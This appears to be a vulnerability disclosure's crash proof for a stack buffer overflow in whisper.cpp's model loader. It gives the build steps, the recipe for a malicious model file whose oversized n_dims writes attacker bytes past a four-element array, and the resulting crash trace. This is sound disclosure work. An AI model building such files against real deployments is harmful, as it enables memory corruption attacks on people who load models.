Dynamic crash proof — whisper.cpp unchecked n_dims stack buffer overflow
Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64).
Target
- repo:
ggml-org/whisper.cpp@6fc7c33 - Sink:
src/whisper.cppwhisper_model_load()tensor-read loop —int32_t ne[4]written with an unbounded, attacker-controlledn_dimscount.
Build (Release, CPU-only, -fstack-protector-all; NO sanitizer)
cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
-DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
-DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
cmake --build build-rel --target whisper-cli
Malicious input — poc_whisper_ndims.bin (80 KB)
Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop),
then ONE tensor record with n_dims = 20000 followed by 20000 sentinel words 0x41414141 ("AAAA").
Run + crash
whisper_model_load: type = 1 (tiny)
whisper_model_load: adding 51865 extra tokens
whisper_model_load: CPU total size = 77.11 MB <- model fully built; entering tensor-read loop
<SIGSEGV>
exit=139 (128 + SIGSEGV(11))
lldb stop frame — attacker bytes in the fault address
* thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)
frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36
-> str xzr, [x0, #0x8] ; x0 = 0x141414149
The faulting address 0x141414149 is the attacker sentinel 0x41414141 ("AAAA"): the unbounded
for (i=0;i<n_dims;++i) read_safe(loader, ne[i]) loop wrote our chosen 4-byte words far past the
4-element stack array ne[4], overwriting adjacent stack state (including the std::istream object
pointer used by the very next read_safe), which is then dereferenced → crash. This demonstrates
attacker-controlled stack memory corruption (CWE-787), not a benign parser error.
What this proves
n_dimsfrom the model file is used as an unchecked loop bound over a fixedint32_t ne[4].- The loop writes attacker-chosen 4-byte values sequentially past the array — the classic controlled-length/controlled-content stack smash.
- Reached via the standard
whisper_init_from_file→whisper_model_loadpath that EVERY whisper.cpp application uses to load a model. (The sibling sitewhisper_vad_init_with_paramshas the identical bug on the VAD-model path.)